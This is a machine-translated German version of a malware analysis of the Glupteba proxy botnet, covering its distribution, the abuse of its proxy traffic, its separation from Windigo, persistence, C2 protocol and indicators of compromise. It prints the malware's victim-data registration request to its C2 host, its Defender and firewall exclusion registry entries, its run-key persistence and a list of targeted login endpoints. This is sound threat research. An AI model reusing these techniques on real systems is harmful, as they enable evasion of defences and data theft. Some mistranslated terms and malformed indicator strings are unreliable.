Win32 / Glupteba ist nicht mehr mit dem Windigo-Betrieb verbunden

Eine Studie über Linux / Ebury , die Hauptkomponente von Windigos Betrieb , veranlasste uns, den Rest des Ökosystems genauer zu betrachten, um festzustellen, ob sie für den Betrieb verwendet wurden. Die Aufmerksamkeit wurde auf den offenen Win32 / Glupteba-Proxyserver gelenkt, der zuvor im Rahmen der Windigo-Operation mithilfe einer Reihe von Exploits verteilt wurde. Nach den Ergebnissen der letzten Analyse gehen wir davon aus, dass das Programm nicht mehr mit Windigo assoziiert ist.


In einem Beitrag werden wir Informationen zu den aktuellen Verteilungsmechanismen von Glupteba, eine kurze Analyse des Netzwerkverkehrs über den Proxy, eine technische Analyse des Status der Glupteba-Binärdatei und die Beziehung zwischen Glupteba und Windigo bereitstellen.



Gluptebas Verbreitung der Dynamik


Kurze Geschichte


Zu verschiedenen Zeiten verwendete Glupteba verschiedene Verteilungsmethoden. Wir haben die grundlegenden Muster und Methoden der Malware in den letzten sieben Jahren verfolgt und geben einen Überblick über deren Entwicklung.


Als ESET 2011 das TDL-4- Bootkit untersuchte, stellten unsere Analysten fest (und veröffentlichten ), dass es als zusätzlicher Malware-Downloader verwendet wurde. Glupteba war eine der Optionen, die Malvari installiert hatte. TDL-4-Betreiber haben wahrscheinlich Vertriebsdienste an Schwarzmärkte verkauft.


Drei Jahre später ergab eine Studie des Windigo-Vorgangs, dass ein Teil der Infrastruktur kompromittierter Linux-Server verwendet wurde, um einige der HTTP-Anforderungen über trojanisierte Webserver (Apache httpd, lighttpd und nginx) umzuleiten. Anforderungen wurden an von Windigo-Betreibern kontrollierte DNS-Server umgeleitet, die die IP-Adresse des endgültigen Umleitungsziels über einen A-Eintrag zurückgaben. Es enthielt normalerweise eine Reihe von Exploits. Nachdem der Exploit erfolgreich eingesetzt wurde, wurde Glupteba auf dem Zielgerät installiert.


Die Beziehung zwischen Windigo und Glupteba ist nicht darauf beschränkt. C & C Glupteba-Server wurden auch auf Computern gehostet, die Teil des Windigo-Botnetzes sind. Darüber hinaus bestand Gluptebas einzige Aufgabe zu dieser Zeit darin, Spam im Auftrag der Windigo-Infrastruktur weiterzuleiten. Es ist schwer zu sagen, dass dieselben Leute das Glupteba- und das Windigo-Botnetz kontrollierten. Windigo-Betreiber haben möglicherweise wiederverkauften Zugang zu ihrer Infrastruktur.


Modernes Verteilungsschema


Derzeit hat sich der Verteilungsvektor von Glupteba erneut geändert. Malvar nutzt die Windigo-Infrastruktur nicht mehr - Glupteba ist jetzt Teil seines eigenen Botnetzes.


Glupteba wird mit MSIL / Adware.CsdiMonetize.AG vertrieben, einem Programm, das verschiedene Malware-Familien bereitstellt, die für die Anzahl der Installationen zahlen (Pay-Per-Install). Zusätzlich zu Glupteba haben wir das Laden potenziell unerwünschter Software, Crypto Miner und Adware beobachtet.


Anstatt Glupteba.AY direkt herunterzuladen, lädt MSIL / Adware.CsdiMonetize.AG seinen Dropper herunter, der den Bot auf dem C & C-Server registriert, Ausnahmen zu Windows Defender und der Windows-Firewall hinzufügt und die Umgebung für die Installation von Glupteba einrichtet.


Die Bot-Registrierungsanfrage enthält Informationen zum Auto des Opfers. Hier ist ein Beispiel für eine solche Anfrage:


POST /bots/register HTTP/1.1 Host: burnandfire5.com User-Agent: Go-http-client/1.1 Content-Length: 400 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Data[appname]=SolitaryBrook&Data[arch]=32&Data[av]=&Data[build_number]= 7601&Data[compaign_id]=&Data[cpu]=<CPU_SPEC>&Data[defender]=1&Data[exploited]=1&Data[firewall]=1&Data[gpu]=<GPU_INFO>&Data[is_admin]=1&Data[os]=<OS_INFO>&Data[username]=<USERNAME>&Data[version]=71 

Ein Windows-Registrierungseintrag HKCU \ Software \ Microsoft \ TestApp \ UUID wird ebenfalls erstellt. Dies ist notwendig für die erfolgreiche Implementierung von Glupteba. Der Parameter darf nicht leer sein.


Als Nächstes werden die folgenden Registrierungseinträge erstellt, um Ausnahmen zu den Windows Defender-Regeln und der Windows-Firewall hinzuzufügen:


 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet = 0HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = 0HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{09E3DB75-DE77-4B2D-A351-C745D9A15617} = “v2.10|Action=Allow|Active=TRUE|Dir=In|App=C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe” 

Laut ESET-Telemetrie wurde die Glupteba-Aktivität seit Anfang 2017 in 180 Ländern aufgezeichnet. Drei Länder machen 25% aller Entdeckungen aus - dies sind Russland, die Ukraine und die Türkei. Abbildung 1 zeigt die Länder, in denen wir Fälle von Proliferation identifizieren konnten.



Abbildung 1. Erkennungsrate nach Land


Analyse der Proxy-Nutzung


Zum Zeitpunkt der Windigo-Operation bestand Gluptebas einziger Zweck darin, Spam an Endempfänger weiterzuleiten. Wir wollten wissen, ob sich die Verwendung von Malvari seitdem geändert hat. Im November 2017 haben wir vier Tage lang den Netzwerkverkehr aufgezeichnet, der durch einen infizierten Host geleitet wird. Da der HTTPS-Verkehr verschlüsselt blieb, war das beobachtete Bild auf unverschlüsselte Netzwerkprotokolle beschränkt. Nach unserer Analyse sendet Glupteba jetzt nicht nur Spam - jetzt verwendet die Malware verschiedene automatisierte Systeme. Glupteba-Betreiber können den Proxyserver selbst verwenden, wir glauben jedoch, dass sie seine Verwendung als Dienst an Dritte verkaufen. Weiterhin informieren wir Sie über den interessantesten Verkehr.


Das erste, was wir bemerkt haben, ist, dass Glupteba immer noch verwendet wird, um Spam an Endempfänger zu senden. Hier ist ein Beispiel für eine solche Nachricht:


 From: “Ella Dmhfey” <Ella87@bilanzgewinn.at> To: “???????” <??????????@gmail.com> Subject: ?????????? kaufen Sie Se-xpower Date: Fri, 10 Nov 2017 14:18:10 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=”iso-8859-1″ Content-Transfer-Encoding: 7bit Guten Tag ????????? , Damit kriegen Sie Ihre Dame zum Hoehepunkt. ?????????: http://www.sexpillen-versandhaus[.]info/shop 

Darüber hinaus tritt Glupteba bei Angriffen zur Wiederverwendung von Passwörtern auf. Glupteba bietet Angreifern eine gewisse Anonymität, da die IP-Adresse dem Zielserver immer verborgen bleibt. Darüber hinaus können Sie mit der Malware Anforderungen auf mehrere IP-Adressen verteilen, wodurch das Risiko einer Blockierung der Zielwebsite verringert wird. Wir haben die Verwendung solcher Angriffe auf drei Domänen gesehen.


Tabelle 1. Nicht-HTTPS-Zieldomänen


DomainnameKurzbeschreibung
adfoc.usURL-Abkürzungsdienst, bei dem Benutzer pro Besuch bezahlt werden
Bonusbitcoin.coBitcoin Wasserhahn
social.tunecore.comMusik-Hosting-Site

Möglicherweise gibt es mehr Zieldomänen. Wir kennen die Domänennamen, auf die bei Verwendung des HTTPS-Protokolls zugegriffen wurde, dank des Felds Servername in der ClientHello-Struktur, das beim Aushandeln einer Verbindung mithilfe des TLS-Protokolls (Handshake) verwendet wird. Dies gibt eine Vorstellung davon, welche Sites das Ziel des Angriffs waren. In Tabelle 2 sind die Domänen aufgeführt, die nach abnehmendem Datenverkehr sortiert sind.


Tabelle 2. Domänen im Feld Servername des Zertifikats


ServernameAuthentifizierungs-URL
auth.mail.ruhttps://auth.mail.ru/cgi-bin/auth
www.instagram.comhttps://www.instagram.com/accounts/login/ajax/
store.steampowered.comhttps://store.steampowered.com/login/dologin/
www.amazon.comhttps://www.amazon.com/ap/signin
auth.riotgames.comhttps://auth.riotgames.com/authz/auth
vk.comhttps://vk.com/login
global.americanexpress.comhttps://global.americanexpress.com/myca/logon/emea/action
www.facebook.comhttps://www.facebook.com/login/device-based/regular/login/
signin.ea.comhttps://signin.ea.com/p/web2/login
account.t-mobile.comhttps://account.t-mobile.com/svr/authenticate
www.linkedin.comhttps://www.linkedin.com/uas/login-submit
www.westernunion.comhttps://www.westernunion.com/wuconnect/rest/api/v1.0/CustomerSignOn
www.paypal.comhttps://www.paypal.com/signin
www.britishairways.comhttps://www.britishairways.com/api/grant
auth.api.sonyentertainmentnetwork.comhttps://auth.api.sonyentertainmentnetwork.com/login.jsp
account.sonymobile.comhttps://account.sonymobile.com/api/ng/signin
www.expedia.comhttps://www.expedia.com/user/signin

Ein weiteres Beispiel für die automatische Verkehrsweiterleitung über ein Zwischenelement ist auf der Website www.omegle.com aufgezeichnet. Auf dieser Seite können sich zwei Fremde in einem privaten Chat treffen. Wir haben gesehen, wie der Bot dem Chat beigetreten ist und versucht hat, einen anderen Benutzer davon zu überzeugen, dem Link zu folgen. Dieser Service scheint ein beliebtes Ziel für Bots zu sein. Die meisten der beobachteten Interaktionen waren, dass zwei Bots sich gegenseitig in die mobile Kik Messenger-Anwendung lockten oder anboten, über einen kurzen Link zu Pornoseiten zu gehen.


Hier ist ein Beispiel für die Interaktion zweier Bots:


 guest> heyy stranger> my name is Tomasa stranger> im female . stranger> from Rio de aneiro,Brazil stranger> ready to talk, enter here: stranger> bit.ly/<REDACTED> guest> 18 female guest> wanena etrade picturesh ? guest> zyari.site/<REDACTED> guest> messsage me theree ill sendc you sxome mor8e guest> ok we2ll im goinn 2 getwt off bye 

Wir haben auch Bots gefunden, die spezielle HTTP-POST-Anforderungen verwenden, um Web-Shells zu finden. Die Domänen wurden alphabetisch in absteigender Reihenfolge sortiert, was die Software-Verarbeitung ihrer Liste impliziert.


Links mit Windigo


Wir haben uns entschlossen, Glupteba erneut zu besuchen, um herauszufinden, ob die Malware mit dem Windigo-Vorgang zusammenhängt. Die Analyse ergab, dass dies nicht der Fall ist. Als nächstes betrachten wir die Gründe für diese Schlussfolgerung.


Das erste, was uns auffiel, waren die von Glupteba C & C verwendeten Server. Keine der erkannten IP-Adressen stimmte mit den bekannten Servern überein, die von Ebury kompromittiert wurden. Darüber hinaus verfügen die neuen C & C-Server über viele offene Ports, während die alten nur eine DNAT- und SNAT-Regel zum Umleiten des Datenverkehrs zum aktuellen Server hatten. Eine solche Anzahl offener Ports verursacht viele Störungen - dies ist nicht typisch für Windigo-Betreiber.


Wie im Windigo-Betriebsbericht erwähnt, hat ein Client, der eine Verbindung zu Glupteba herstellt, vor dem Spam eine HTTP-GET-Anforderung an Port 25 des gefährdeten Ebury-Computers gesendet. Jetzt hat sich das Schema geändert - Spam durchläuft einen Proxy ohne Eintrag, Nachrichten sehen anders aus.


Schließlich ist die Verbreitung von Glupteba nicht mehr von Windigo abhängig - MSIL / Adware.CsdiMonetize.AG ist dafür verantwortlich.


Basierend auf all dem glauben wir, dass Glupteba nicht mehr mit der Windigo-Operation verbunden ist.


Technische Analyse


In diesem Abschnitt bieten wir eine technische Analyse der während der Studie untersuchten Glupteba-Proben. Das erste, was uns aufgefallen ist, ist, dass sie sich von den Proben unterscheiden, die wir 2014 analysiert haben. Wir glauben, dass Glupteba von Grund auf neu geschrieben wurde. Glupteba war früher ein ziemlich kleines und einfaches Programm, jetzt ist es ein umfangreiches und sehr komplexes C ++ - Programm. Früher wurden ungefähr 70 Funktionen unterstützt, jetzt gibt es mehr als 3600 davon.



Abbildung 2. Vergleich der Funktionsliste


Glupteba ist jetzt statisch mit den Boost C ++ - Bibliotheken verknüpft, wie in Abbildung 3 dargestellt. Für die Kommunikation über Sockets wird die Windows Sockets-API verwendet: WSASend und WSARecv anstelle von send und recv.



Abbildung 3. Boost C ++ - Bibliothekscodezeilen


Ausdauer


Glupteba bietet Persistenz, indem dem Registrierungsschlüssel Ausführen ein Eintrag hinzugefügt wird. Jedes Mal, wenn Windows gestartet wird, wird Glupteba gestartet. Hier ist der Registrierungseintrag, den Sie erstellen:


 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CloudNet = %APPDATA%\EpicNet Inc\CloudNet\cloudnet.exe” 

Andere Einträge werden in der Windows-Registrierung erstellt. Hier sind die interessantesten:


 HKCU\Software\EpicNet Inc.\CloudNet\Value = “20180223” HKCU\Software\EpicNet Inc.\CloudNet\GUID = “CDC0432A-0298-40B1-9A71-D61F94C013A7” 

Der GUID-Eintrag enthält die ID des Bots, der durch den CoCreateGuid-Aufruf erstellt wurde. Der Wertedatensatz enthält den Zeitstempel der binären PE-Datei von Glupteba.


Kommunikation mit einem C & C Server


Aus Sicht der Netzwerkkonfiguration gibt es in diesen Beispielen keine wesentlichen Änderungen im Vergleich zu den Beispielen, die wir im Windigo-Betriebsbericht beschrieben haben. Beim Start sendet Glupteba dasselbe Beacon an den Befehlsserver und empfängt als Antwort die Sitzung und den Port, mit denen Glupteba für Proxy-bezogene Aufgaben eine Verbindung herstellt.


Das an den Befehlsserver gesendete Beacon:


 GET /stat?uptime=100&downlink=1111&uplink=1111&id=05AA812F&statpass=bpass&version=20171106&features=30&guid=68794E51-0DBC-4CF6-BD98-8B18FE3E0A18&comment=20171106&p=0&s= HTTP/1.0 

Team-Server werden verschlüsselt in einer Binärdatei gespeichert. Nach der Entschlüsselung sehen sie folgendermaßen aus:


 'server-%s.sportpics[.]xyz:30,server-%s.kinosport[.]top:30,' 

Die Zahl nach dem Doppelpunkt ist der maximale Bereich der Anzahl der Server. In diesem Fall bedeutet "30", dass 30 Domänennamen durch Formatieren der Domänenzeichenfolge mit Zahlen von 1 bis 30 erhalten werden. Bei der Kommunikation mit dem C & C-Server wird eine dieser Domänen zufällig ausgewählt und die GUID des gefährdeten Computers wird am Anfang als Domänendomäne hinzugefügt ausgewählter Server.


Beispiel C & C Server:


 68794E51-0DBC-4CF6-BD98-8B18FE3E0A18.server-1.sportpics[.]xyz 

Glupteba sendet außerdem eine zweite GET-Anforderung an seinen Befehlsserver, um Informationen zu den technischen Spezifikationen des Computers des Opfers zu aktualisieren. Es sieht so aus:


 GET /update.php?uid=<BOT_ID>&version=<VERSION>&OS=<OS>&have_admin=1&mys=<C&C_SERVERS>&build=<PE_TIMESTAMP>&cpu=<CPU>&video=<VIDEO_CARD>&ram=<GB_OF_RAM> HTTP/1.0 

String-Verschlüsselung


Glupteba-Codezeilen werden mit einem speziellen Algorithmus verschlüsselt. Der Entschlüsselungsprozess verwendet einen 16-Byte-Schlüssel und erfolgt in drei Phasen. Der Schlüssel ist für jede Version des Programms unterschiedlich. In der ersten Phase wird der Mersenne Vortex Generator (PRNG) verwendet. Der Algorithmus wird mit den ersten vier Bytes des Schlüssels gefüllt. Dann durchläuft jedes Byte der Chiffre eine XOR-Operation, wobei das nächste Byte vom Mersenne-Wirbel erzeugt wird.



Abbildung 4. Die erste Phase des Entschlüsselungsprozesses


Für die zweite Phase gibt es drei verschiedene Optionen. Einer verwendet die Kaninchen- Chiffre, der andere führt eine weitere Iteration der XOR-Operation durch, ähnlich der in der ersten Phase verwendeten, jedoch mit einer anderen Schlüsselfüllung. In den untersuchten Proben wird nur die dritte Option verwendet. Es besteht aus einer XOR-Schleife mit einem Schlüssel.


Die dritte und letzte Phase ist ein weiterer XOR-Zyklus mit dem Wert, der durch Berechnung des Ergebnisses der zweiten Phase und der unmittelbaren Werte erhalten wird.



Abbildung 5. Die dritte Phase des Entschlüsselungsprozesses


In unserem GitHub-Repository haben wir ein Skript zum Entschlüsseln aller Zeilen veröffentlicht. Da sich die Implementierung des Mersenne-Wirbels in Python geringfügig von der von Glupteba unterscheidet, haben wir auch die Implementierung in Python veröffentlicht. Stellen Sie vor dem Ausführen des Skripts sicher, dass sich das Verzeichnis in Ihrem% PYTHONPATH% befindet. Sie können dies tun, indem Sie den Befehl im Python IDA-Interpreter ausführen:


 sys.path.append(<  >) 

Zusammenfassung


Die Betreiber von Glupteba finden trotz des Widerstands der Fachwelt weiterhin Möglichkeiten, die Malvari zu verbreiten. Nachdem sie die Windigo-Operationen entdeckt hatten, änderten sie ihre Taktik, während sie die Abdeckung beibehielten.


Die Entwicklung des Toolkits von Grund auf und die aktuelle Distribution zeigen, dass die Angreifer, auf denen Glupteba ausgeführt wird, immer noch aktiv sind. Ihre Bemühungen beweisen, dass der offene Proxy-Markt äußerst profitabel ist und es unwahrscheinlich ist, dass Glupteba in naher Zukunft vom Radar verschwindet.


Kompromissindikatoren (IoCs)


Hashes


SHA-1DateinameESET-Erkennung
B623F4A6CD5947CA0016D3E33A07EB72E8C176BAcloudnet.exeWin32 / Glupteba.AY
ZED310E5B9F582B4C6389F7AB9EED17D89497F277cloudnet.exeWin32 / Glupteba.AY
F7230B2CAB4E4910BCA473B39EE8FD4DF394CE0Dsetup.exeMSIL / Adware.CsdiMonetize.AG
70F2763772FD1A1A54ED9EA88A2BCFDB184BCB91cloudnet.exeWin32 / Glupteba.AY
87AD7E248DADC2FBE00D8441E58E64591D9E3CBEcloudnet.exeWin32 / Glupteba.AY
1645AD8468A2FB54763C0EBEB766DFD8C643F3DBcsrss.exeWin32 / Agent.SVE

C & C-Domänen des Glupteba-Servers


 server-{1,30}[.]ostdownload.xyz server-{1,30}[.]travelsreview.world server-{1,30}[.]bigdesign.website server-{1,30}[.]sportpics.xyz server-{1,30}[.]kinosport.top server-{1,30}[.]0ev.ru server-{1,30}[.]0df.ru server-{1,30}[.]0d2.ru server-{1,30}[.]0d9.ru 

IP-Adressen des Glupteba C & C-Servers


 5[.]101.6.132 5[.]79.87.139 5[.]79.87.153 5[.]8.10.194 37[.]48.81.151 46[.]165.244.129 46[.]165.249.167 46[.]165.249.195 46[.]165.249.201 46[.]165.249.203 46[.]165.250.25 78[.]31.67.205 78[.]31.67.206 80[.]93.90.27 80[.]93.90.32 80[.]93.90.69 80[.]93.90.72 80[.]93.90.78 80[.]93.90.84 81[.]30.152.25 85[.]114.135.113 85[.]114.141.81 89[.]163.206.137 89[.]163.206.174 89[.]163.212.9 91[.]121.65.98 91[.]216.93.126 91[.]216.93.20 109[.]238.10.78 178[.]162.193.193 178[.]162.193.195 178[.]162.193.66 178[.]162.193.86 193[.]111.140.238 193[.]111.141.213 212[.]92.100.114 212[.]92.100.115 213[.]202.254.161 213[.]5.70.9 217[.]79.189.227 

Agent.SVE Server C & C-Domänen


 financialtimesguru[.]com comburnandfire5[.]com 

Source: https://habr.com/ru/post/de417619/


All Articles